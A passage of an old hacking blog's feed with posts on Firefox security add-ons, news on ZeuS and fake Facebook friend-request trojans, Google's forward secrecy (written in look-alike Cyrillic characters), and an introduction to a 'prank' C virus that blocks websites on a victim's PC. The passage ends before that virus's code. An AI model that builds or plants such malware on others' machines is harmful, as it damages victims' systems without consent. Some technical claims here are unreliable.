&lt;b&gt;Now the question arises, why firefox?&lt;/b&gt;&lt;br /&gt;
you may choose firefox because it is fast, safe and open-source, which means you can modify &amp;nbsp;anything for it( if you know how).It is multi platform and the most important is its pluggable extension feature, it means that firefox gives you certain number of features and if you want to make it more you can make extensions.&lt;br /&gt;
&lt;b&gt;about firefox security&lt;/b&gt;&lt;br /&gt;
While no browser is 100% secure Mozilla Firefox has much better security than Internet Explorer. Firefox does not support Activex which is a tool that can be used with good and bad intentions. Activex allows web sites to have more access to Windows. As a result of this, cyber criminals have taken advantage of it. This means that viruses and spy ware (and sometimes other types of malware as well such as adware) can take advantage of it, resulting in these programs ending up on the visitors computer (if using Windows at the time). Spyware is any piece of software that silently gathers information about a user while he/she navigates the Internet and transmits the information to an individual or company that uses it for marketing or other purposes.Spyware and other types of Malware usually do not target Firefox, but there is some out there that will also get Firefox, but it is rather unlikely that a Firefox user would get it. Unless for example they install loads of extensions from all kinds of web sites. So don&#39;t install an add-on if the website doesn&#39;t look trustworthy .If a Firefox user has the cache turned on a Trojan can end up in it. A cache is an amount of space in which Firefox uses to temporarily store images and other files from sites so you can load the page up quicker if you chose to go back and view the page again. You can turn it off by going to &quot;Tools&quot; then &quot;options&quot; click on the &quot;advanced&quot; tag and then the &quot;cache&quot; tag set the amount of MB&#39;s it&#39;s allowed to use to &quot;0&quot;. However a Trojan just sit their in the catch and will not do anything unless the user actually opens it.&lt;br /&gt;
&lt;b&gt;&lt;u&gt;FIREFOX ADDONS&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;
Add-ons are installable enhancements to the Mozilla Foundation&#39;s projects, and projects based on them. Add-ons allow the user to add or augment application features, use themes to their liking, and handle new types of content.So, Add-ons give Firefox many new options and functions. How to get them? www.google.com or mozillas extension site which is at addons.mozilla.org.some useful addons for development &amp;amp; security in my opinion are:&lt;br /&gt;
1. &lt;b&gt;GREASE MONKEY&lt;/b&gt;: &amp;nbsp;This allows you to customize the way a web page displays or behaves, by using small bits of JavaScript.&lt;br /&gt;download link:&lt;br /&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/?src=cb-dl-users&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/?src=cb-dl-users&lt;/a&gt;&lt;br /&gt;
2. &lt;b&gt;FIRE BUG&lt;/b&gt;:&amp;nbsp;Firebug integrates with Firefox to put a wealth of development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.&lt;br /&gt;
download link:&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/firebug&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/firebug&lt;/a&gt;&lt;br /&gt;
3.&lt;b&gt;RIGHTTOCLICK&lt;/b&gt;:&amp;nbsp;It enables right-click, text selection, context-menu, drag&amp;amp;drop and much more where it is disabled by Javascript.RightToClick protects from annoying alert pop-ups, can remove many timer actions and is able to suppress (unusual) click behavior. The highly sophisticated engine also offers options for fine tuning. Finally it&#39;s helpful with image downloads (also disabling CSS might be useful here).&lt;br /&gt;
download link:&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/righttoclick&quot;&gt;https://addons.mozilla.org/en-us/firefox/addon/righttoclick&lt;/a&gt;&lt;br /&gt;
p.s- if you have not noticed yet, then let me inform you that you can use this addon in this blog also, try it.&lt;br /&gt;
4. &lt;b&gt;NOSCRIPT&lt;/b&gt;:This add-on is used for security. It simply blocks malicious scripts, applets and flash. A disadvantage of this is if you want a script to be run on a site when visiting, you must unblock it. To read more about this addon:&lt;br /&gt;
&lt;a href=&quot;http://teamhackaholic.blogspot.com/2011/06/noscript-security-against-active.html&quot;&gt;http://teamhackaholic.blogspot.com/2011/06/noscript-security-against-active.html&lt;/a&gt;&lt;br /&gt;
5.&lt;b&gt;ADD-N-EDIT COOKIES&lt;/b&gt;:No comment. You know what it does. but this add-on is not available for the 7.0,1 version.&lt;br /&gt;
6.&lt;b&gt;ADBLOCK PLUS&lt;/b&gt;:The add-on is supported by over forty filter subscriptions in dozens of languages which automatically configure it for purposes ranging from removing online advertising to blocking all known malware domains. Adblock Plus also allows you to customize your filters with the assistance of a variety of useful features, including a context option for images, a block tab for Flash and Java objects, and a list of blockable items to remove scripts and stylesheets.&lt;br /&gt;
download link:&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/adblock-plus&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/adblock-plus&lt;/a&gt;&lt;br /&gt;
7.&lt;b&gt;WEB-DEVELOPER&lt;/b&gt;:The Web Developer adds various web developer tools to your browser.&lt;br /&gt;
download link:&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/web-developer&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/web-developer&lt;/a&gt;&lt;br /&gt;
8.&lt;b&gt;LIGHT SHOT&lt;/b&gt;: if you want a screenshot of a website immediately, then this tool is very useful for you.LightShot is a tool allowing you to easily make screenshots of any selected area in a browser tab.&lt;br /&gt;
downloading link:&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/lightshot&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/lightshot&lt;/a&gt;&lt;br /&gt;
9.&lt;b&gt;HACKBAR&lt;/b&gt;: Well if you are a web develper and concerned about your website security, then this Add-on is made for you. we have already explained about this add-on in our blog earlier. follow the link to read more:&lt;a href=&quot;http://teamhackaholic.blogspot.com/2011/06/firefox-hacking-addon-hackbar.html&quot;&gt;http://teamhackaholic.blogspot.com/2011/06/firefox-hacking-addon-hackbar.html&lt;/a&gt;&lt;br /&gt;
10.&lt;b&gt;ALL-IN-ONE SIDEBAR&lt;/b&gt;:This is made for the ease of the user.All-in-One Sidebar is a wonderful extension that provides you easy access to your bookmarks, downloads, history, themes and extensions, and more.&lt;br /&gt;
download link:&lt;br /&gt;
&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/all-in-one-sidebar&quot;&gt;https://addons.mozilla.org/en-US/firefox/addon/all-in-one-sidebar&lt;/a&gt;&lt;br /&gt;
note: all the add-ons are explained keeping in mind that you are using the latest firefox version,i.e. 7.0.1, many security issues and bugs have been patched in this version. Otherwise if you are using the earlier versions of firefox, then many security related add-ons are available which are very important:&lt;br /&gt;
some of them are:XSS-ME, SQL INJECT ME etc.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
posted by:-DR34MHAXX&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/6983626359053970175/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/some-important-firefox-addons-for.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6983626359053970175'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/6983626359053970175'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/some-important-firefox-addons-for.html' title='SOME IMPORTANT FIREFOX ADDONS  FOR DEVELOPMENT &amp; SECURITY .'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAlREsi3UololgnLPNPkKKkc8YubryICKYuiSQxjU3wk72HM4aqqMrnHX9MrRwdPeEjf-cq_pJJlgNiIjPFX6eA8TSGYtBKtND4b2cCXazSXXL_rDJCCkkiGXznqdzgWeIL3m45t3pk6Fc/s72-c/images.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-3788562420383902959</id><published>2011-11-25T11:34:00.001+05:30</published><updated>2011-11-25T11:35:35.435+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><category scheme="http://www.blogger.com/atom/ns#" term="Viruses - Trojans"/><title type='text'>ZeuS Spreading via Facebook Friends Request</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;New spamming campaign has been reported by Trend micro.
 This type of malware is spreading through Facebook. &amp;nbsp;The downloaded 
malware is another type of Zbot, also called Zeus a Trojan horse that 
attempts to steal confidential information from the compromised 
computer. It may also download configuration files and updates from the 
Internet.&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Malware spreads by sending messages to victims that includes Facebook
 friend request notification. When user clicks to approve the friend 
request link opens a page that invites him to install the latest version
 of Adobe Flash Player. But here the link takes user to install TSPY_ZBOT.FAZ&amp;nbsp;instead of Adobe Flash Player.&lt;/span&gt;&lt;br /&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_5qLER9mhe-5HMC7DP7a6lMO7SeHyG4quSp7Vy1eM6BJJa13yG5ormw84Zna2Loff_DJ75ve2SvOvNLAWcRynFhekulvlzDBq46P_UwcxzgtykBKmOTvApENPsl92TBD6x8jxrZTvRYm0/s1600/fbzeus3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;265&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_5qLER9mhe-5HMC7DP7a6lMO7SeHyG4quSp7Vy1eM6BJJa13yG5ormw84Zna2Loff_DJ75ve2SvOvNLAWcRynFhekulvlzDBq46P_UwcxzgtykBKmOTvApENPsl92TBD6x8jxrZTvRYm0/s400/fbzeus3.jpg&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;This spyware adds registry entries to enable its automatic execution 
at every system startup. It attempts to steal information, such as user 
names and passwords, used when logging into certain banking or 
finance-related websites.&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Generally Trojan.Zbot files are used to compromise computers is 
generated using a special toolkit that is available in marketplaces for 
online criminals. Toolkit allows an attacker a high degree of control 
over the functionality of the final executable that is distributed to 
targeted computers.&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;The Trojan itself is primarily distributed through spam campaigns and
 drive-by downloads, though given its versatility, other vectors may 
also be utilized. The user may receive an email message purporting to be
 from organizations such as the FDIC, IRS, MySpace, Facebook, or 
Microsoft.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/3788562420383902959/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/zeus-spreading-via-facebook-friends.html#comment-form' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/3788562420383902959'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/3788562420383902959'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/zeus-spreading-via-facebook-friends.html' title='ZeuS Spreading via Facebook Friends Request'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_5qLER9mhe-5HMC7DP7a6lMO7SeHyG4quSp7Vy1eM6BJJa13yG5ormw84Zna2Loff_DJ75ve2SvOvNLAWcRynFhekulvlzDBq46P_UwcxzgtykBKmOTvApENPsl92TBD6x8jxrZTvRYm0/s72-c/fbzeus3.jpg" height="72" width="72"/><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-1180420970278819405</id><published>2011-11-25T11:27:00.001+05:30</published><updated>2011-11-25T11:28:25.704+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Facebook"/><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><category scheme="http://www.blogger.com/atom/ns#" term="Viruses - Trojans"/><title type='text'>Fake ‘Friend Request’ E-mail from Facebook Delivers Trojan: Cyberoam</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1rTb8em_d7uU_5_SFtnoHL7z9wlz90RjCn3s5nBXcjdqtar-2l7W19LrgjI6OSvTfWCKL0W-srRjqob2n8K1qwmxpShGntpkAKiFrGNz6HQuodmMNvtf11gzr4PFX1yyfM600JgBTj26O/s1600/305468_104699102975785_100557966723232_34932_388097420_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1rTb8em_d7uU_5_SFtnoHL7z9wlz90RjCn3s5nBXcjdqtar-2l7W19LrgjI6OSvTfWCKL0W-srRjqob2n8K1qwmxpShGntpkAKiFrGNz6HQuodmMNvtf11gzr4PFX1yyfM600JgBTj26O/s320/305468_104699102975785_100557966723232_34932_388097420_n.jpg&quot; width=&quot;249&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;According to Cyberoam an IT firm, which recently published a survey 
report, online scammers are targeting Facebook members by sending them 
several &quot;friend request&quot; messages for defrauding them into taking down 
one banker Trojan, published The Times of India on October 19, 2011.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;The survey, which Cyberoam conducted, reportedly involved Commtouch another IT security software firm as a partner.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Senior
 Vice-President of Product Management Abhilash Sonwane at Cyberoam 
stated that modern scammers along with malware creators knew very well 
Facebook users&#39; behavioral psychology. They knew that, although 
intelligent, many users of the social-networking website didn&#39;t think 
again prior to accepting an unknown stranger&#39;s &#39;friend request&#39; e-mail, 
alternatively answering random such e-mails, hoping they would get gifts
 and free devices. Online-crooks would constantly tweak their assaults 
against websites for social-networking exploiting the public&#39;s 
frailties, Sonwane explained. IndiaPRwire reported this on October 19, 
2011.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Moreover, Cyberoam as well noticed how free offers through 
Facebook enticed users that prompted them for disseminating junk e-mails
 within their friends circle. In addition, the survey discovered an 
omnipresent &quot;like&quot; button on Facebook that advertising-fraudsters 
harnessed for enticing end-users into supposedly getting an iPhone 4 for
 free.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Evidently, the fraudsters gained much out of effective 
&#39;free&#39; publicity because of Facebook users&#39; trustworthiness, in addition
 to potentially acquire their other details from personal profiles to 
commit ID-theft.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Moreover, spam attachments crafted with 
&quot;right-to-left&quot; override, deceived people who didn&#39;t bother about file 
extensions on computers running Windows.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;In the meantime, the 
report further revealed that India kept on being on No.1 among the 
globe&#39;s major &#39;compromised PC&#39; or technically, &#39;zombie&#39; destinations, 
while Brazil fell to No.3 rank.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Additionally, according to the 
report, e-mail-borne viruses revived during Q3-2011 when numerous 
attacks occurred during August-September 2011. At the peak, however, 
25bn malware-laced e-mails were distributed per day.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Meanwhile, 
users wishing for getting the free iPhone 4 had the message directing 
them for &#39;liking&#39; many web-pages, supplying their postal add as well as 
passing on the &#39;friend request&#39; e-mail to at least 100 others, thereby 
making sure the scam proliferated, &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Hence, according to the security specialists, social networking members require staying vigilant about these scams.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/1180420970278819405/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/fake-friend-request-e-mail-from.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/1180420970278819405'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/1180420970278819405'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/fake-friend-request-e-mail-from.html' title='Fake ‘Friend Request’ E-mail from Facebook Delivers Trojan: Cyberoam'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1rTb8em_d7uU_5_SFtnoHL7z9wlz90RjCn3s5nBXcjdqtar-2l7W19LrgjI6OSvTfWCKL0W-srRjqob2n8K1qwmxpShGntpkAKiFrGNz6HQuodmMNvtf11gzr4PFX1yyfM600JgBTj26O/s72-c/305468_104699102975785_100557966723232_34932_388097420_n.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-2246928719621618710</id><published>2011-11-24T19:57:00.001+05:30</published><updated>2011-11-24T20:00:38.595+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Google"/><category scheme="http://www.blogger.com/atom/ns#" term="Informative"/><title type='text'>Google Protects User Data for the Future with Forward Secrecy</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-TennVXYgPgUs6yo5qABlYuQS1AN6s4c6F67HtBapRp_ODE9HoKGeJVnjLZyj8FYLa_VKdTM_aKTVP-ggKp3jFkpX4l2OWZYWuoM_DaIQbLkeh-SvyCeoAhNw-hYbRNxNxqr4t2C2adQp/s1600/google_logo_150x150.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-TennVXYgPgUs6yo5qABlYuQS1AN6s4c6F67HtBapRp_ODE9HoKGeJVnjLZyj8FYLa_VKdTM_aKTVP-ggKp3jFkpX4l2OWZYWuoM_DaIQbLkeh-SvyCeoAhNw-hYbRNxNxqr4t2C2adQp/s1600/google_logo_150x150.jpg&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Thе Google security team hаѕ enabled forward secrecy іn іtѕ HTTPS 
services bу default, ѕο thаt captured messages саn’t bе decrypted 
retroactively. Even though Gmail wеnt tο a secure HTTPS connection bу 
default last year, encrypted files сουƖԁ still bе captured іn thеіr 
unreadable form аnԁ broken years later, whеn computers аrе much fаѕtеr.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Othеr HTTPS Google services include Docs аnԁ Google+, аѕ well аѕ SSL 
Web search. AƖƖ thеѕе services аrе now forward secret whеn HTTPS іѕ 
turned οn. Initially, οnƖу Chrome аnԁ Firefox wіƖƖ υѕе forward secrecy 
bу default wіth Google services, bесаυѕе Internet Explorer doesn’t 
support Google’s combination οf thе RC4 authentication аnԁ ECDHE key 
exchange mechanisms. “Wе hope tο support IE іn thе future,” thе security
 team ѕауѕ.&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Thе forward secrecy enabled today requires thаt thе private keys thаt
 maintain thе connection tο thе service аrе nοt held іn persistent 
storage. Thаt means a wουƖԁ-bе attacker саn’t reverse-decrypt past 
connections. Nοt even thе server operator саn decrypt thеѕе sessions 
retroactively. Thе team hаѕ released іtѕ work οn thе open-source OpenSSL
 library thаt enabled thіѕ security.&lt;/span&gt;&lt;br /&gt;

&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Yου саn see whether уουr connection іѕ secure bу clicking thе green padlock іn уουr browser’s address bar whеn οn аn HTTPS site.&lt;/span&gt;&lt;br /&gt;

&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrUTf21FTJAjbcz6o9kWUYxWPgaSjO4OKdq_JBkD0VfJteEi6IbAe7HxwZeR2AHB-Cm3E4Mnd5JShbT-2n9pgKjCHgZYl12d4YOrxSuoXD3c792cTl1QCwTMDfdYjDhTYciH3PxnvO25qR/s1600/googleforwardsecurity.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;270&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrUTf21FTJAjbcz6o9kWUYxWPgaSjO4OKdq_JBkD0VfJteEi6IbAe7HxwZeR2AHB-Cm3E4Mnd5JShbT-2n9pgKjCHgZYl12d4YOrxSuoXD3c792cTl1QCwTMDfdYjDhTYciH3PxnvO25qR/s400/googleforwardsecurity.jpg&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;

&lt;strong&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Google’s Progress οn Security&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;

&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Google mаԁе encrypted Web search available іn 2010, bυt іt ԁіԁ nοt 
anticipate thаt thе secure domain wουƖԁ conflict wіth thе Children’s 
Internet Protection Act, whісh requires schools tο monitor аnԁ block 
сеrtаіn websites. Sіnсе secure search prevented schools frοm logging, 
filtering οr blocking search results, schools wеrе caught іn thе lurch. 
Google resolved thе problem bу giving secure search іtѕ οwn 
encrypted.google.com domain.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/2246928719621618710/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/google-protects-user-data-for-future.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/2246928719621618710'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/2246928719621618710'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/11/google-protects-user-data-for-future.html' title='Google Protects User Data for the Future with Forward Secrecy'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-TennVXYgPgUs6yo5qABlYuQS1AN6s4c6F67HtBapRp_ODE9HoKGeJVnjLZyj8FYLa_VKdTM_aKTVP-ggKp3jFkpX4l2OWZYWuoM_DaIQbLkeh-SvyCeoAhNw-hYbRNxNxqr4t2C2adQp/s72-c/google_logo_150x150.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-2737683806497750346</id><published>2011-11-22T23:16:00.001+05:30</published><updated>2011-11-22T23:26:31.777+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Coding"/><category scheme="http://www.blogger.com/atom/ns#" term="Computers"/><category scheme="http://www.blogger.com/atom/ns#" term="Firefox"/><category scheme="http://www.blogger.com/atom/ns#" term="Viruses - Trojans"/><category scheme="http://www.blogger.com/atom/ns#" term="WEBSITE HACKING"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Prank your Friend : Block Websites on his PC Virus</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Most of us are familiar with the virus 
that used to block Orkut and Youtube site. If you are curious about 
creating such a virus on your own, here is how it can be done.&amp;nbsp;As usual 
I’ll use my favorite programming language &lt;strong&gt;‘C’&lt;/strong&gt; to create
 this website blocking virus. I will give a brief introduction about 
this virus before I jump into the technical jargon.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb4mc3cUcBWWU-mNay9mji71HunhVRHUVJHl-LxoEvJ9kISkyUt-2rKYiMeu8NyXgof1cu7yzkvPzl6kdVIzg5TZymx88nunOjIzcUSQO01W2lbmyu74MZjv_dTS6X64gLCFKVutEUCMjt/s1600/hacked-website.JPG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;315&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb4mc3cUcBWWU-mNay9mji71HunhVRHUVJHl-LxoEvJ9kISkyUt-2rKYiMeu8NyXgof1cu7yzkvPzl6kdVIzg5TZymx88nunOjIzcUSQO01W2lbmyu74MZjv_dTS6X64gLCFKVutEUCMjt/s400/hacked-website.JPG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
This virus has been exclusively created in &lt;strong&gt;‘C’&lt;/strong&gt;.
 So, anyone with a basic knowledge of C will be able to understand the 
working of the virus. This virus need’s to be clicked only once by the 
victim. Once it is clicked, it’ll block a list of websites that has been
 specified in the source code. The victim will never be able to surf 
those websites unless he re-install’s the operating system. This 
blocking is not just confined to&lt;strong&gt; IE&lt;/strong&gt; or &lt;strong&gt;Firefox&lt;/strong&gt;. So once blocked, the site will not appear in any of the browser program.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;b&gt;Here is the Source Code of the virus :&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;

&lt;div class=&quot;stb-info_box&quot; id=&quot;stb-box-2783&quot;&gt;
